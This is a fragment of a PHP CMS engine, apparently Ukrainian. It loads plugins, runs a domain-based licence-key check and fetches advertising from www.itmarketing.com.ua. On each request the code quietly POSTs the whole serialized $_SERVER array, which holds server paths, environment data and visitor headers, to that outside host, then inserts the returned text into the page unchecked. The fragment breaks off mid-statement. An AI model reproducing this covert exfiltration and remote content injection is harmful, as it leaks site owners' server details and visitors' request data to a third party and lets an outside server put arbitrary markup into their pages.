set("skin","view");
include SYSTEM_ROOT."pluginsSet/".$cms_system_conf->get("skin").".php";
foreach ($cms_system_conf->get("plugins_before") as $plugin) {
if (!include PLUGINS_ROOT ."plugin.". $plugin.".php") {
trigger_error ("plugin ".$plugin." mismatched", E_USER_ERROR);
}
}
if (!include PLUGINS_ROOT."plugin.spacesLoader.php") {
trigger_error ("Plugin spacesLoader mismatched", E_USER_ERROR);
}
foreach ($cms_system_conf->get("plugins_after") as $plugin) {
if( !include PLUGINS_ROOT ."plugin.". $plugin.".php") {
trigger_error ("plugin \"$plugin\" mismatched", E_USER_ERROR);
}
}
$out = $cms_system_conf->get("OUTPUT");
//blue red green
$adv_colors = array("#003366", "#990000", "#003300");
$color = $adv_colors[mt_rand(0, count($adv_colors) - 1)];
define("CMS_URL_URLADS_ADVERTISE", "www.itmarketing.com.ua");
define("CMS_URL_URLADS_ADVERTISE_SCRIPT", "/ads.php");
define("CMS_URL_URLADS_ADVERTISE_DEFAULT", "http://www.itmarketing.com.ua/");
define("CMS_COPYRIGHT_STRING_TEXT_DEFAULT", '
Как сделать сайт? Интернет реклама. Маркетинг. Как сделать свой сайт? |
');
$domain = trimDomain($_SERVER["HTTP_HOST"]);
$first = str_rot13 ( md5($domain) );
$second = strrev(sha1($domain));
$dot_pos = strpos($domain, ".") >> 1;
$domain = strtolower(preg_replace("/[^A-Za-z0-9]/", "", $domain));
$smapled_domain1 = substr($domain, $dot_pos) . str_repeat($domain, 8);
$smapled_domain2 = str_repeat($domain, 8);
$keys = explode ("\n", CMS_ENGINE_CLIENT_KEY);
$key_check = 0;
foreach ($keys as $key) {
$key = trim($key);
$key_sum = 1;
for ($i = 0; $i < 32; $i++) {
$char = chr(( ord($smapled_domain1[$i]) + ord($smapled_domain2[$i]) ) >> 1);
$key_sum *= ($char . $first[$i] . $second[$i] == substr($key, $i * 3, 3));
}
$key_check = $key_check || ($key_sum && (strlen($key) == 32*3));
}
define("CMS_ENGINIE_VALID_KEY", $key_check);
$domain = trimDomain($_SERVER["HTTP_HOST"]);
$headers = apache_request_headers();
$valid = (isset($headers['Host'])) ? (trimDomain($headers['Host']) == $domain) : (trimDomain(getenv("HTTP_HOST")) == $domain);
define("CMS_ENGINIE_VALID_HOST", (int)$valid);
if ( CMS_ENGINIE_VALID_KEY && CMS_ENGINIE_VALID_HOST) $CMS_ADVERTIZE_VISIBLE = 0;
else $CMS_ADVERTIZE_VISIBLE = 1;
if (!$fp = @fsockopen(CMS_URL_URLADS_ADVERTISE, 80, $errno, $errstr, 2)) {
$CMS_ADVERTISE_TEXT = CMS_COPYRIGHT_STRING_TEXT_DEFAULT;
} else {
$cms_addr_advertise_8890 = 'POST '.CMS_URL_URLADS_ADVERTISE_SCRIPT.' HTTP/1.0'."\n".'Host: '.CMS_URL_URLADS_ADVERTISE."\n".'Content-Type: application/x-www-form-urlencoded'."\n";
fputs ($fp, $cms_addr_advertise_8890 );
$POST_QUERY = 'U_CMS_ADVERTIZE_VISIBLE='.$CMS_ADVERTIZE_VISIBLE."&";
$POST_QUERY .= 'U_SERVER='.urlencode( serialize($_SERVER));
$POST_QUERY = "Content-Length:".strlen( $POST_QUERY)."\n\n".$POST_QUERY;
// echo serialize($_SERVER);
fputs ($fp, $POST_QUERY );
$CMS_ADVERTISE_TEXT = "";
$is_header = TRUE;
while (!feof($fp)) {
$line = fgets($fp);
if ($is_header && (trim($line) == '' || $line == "\n" || $line == "\r" || $line == "\r\n")) $is_header = FALSE;
if (!$is_header) $CMS_ADVERTISE_TEXT .= (trim($line)=="")?"":$line;
}
fclose ($fp);
$tmp = explode ("\n", $CMS_ADVERTISE_TEXT);
$PROTOKOL = explode( "/", $tmp[0]);
$RESULT = trim($PROTOKOL[1]);
if ( $RESULT != "TRUE" ) {
$CMS_ADVERTISE_TEXT = CMS_COPYRIGHT_STRING_TEXT_DEFAULT;
} else {
unset($tmp[0]);
$CMS_ADVERTISE_TEXT = implode("\n", $tmp);
}
}
//print_r( $_SERVER);
if ( $CMS_ADVERTIZE_VISIBLE == 1) {
//for bottom
$str_pos = strpos(strtolower($out), '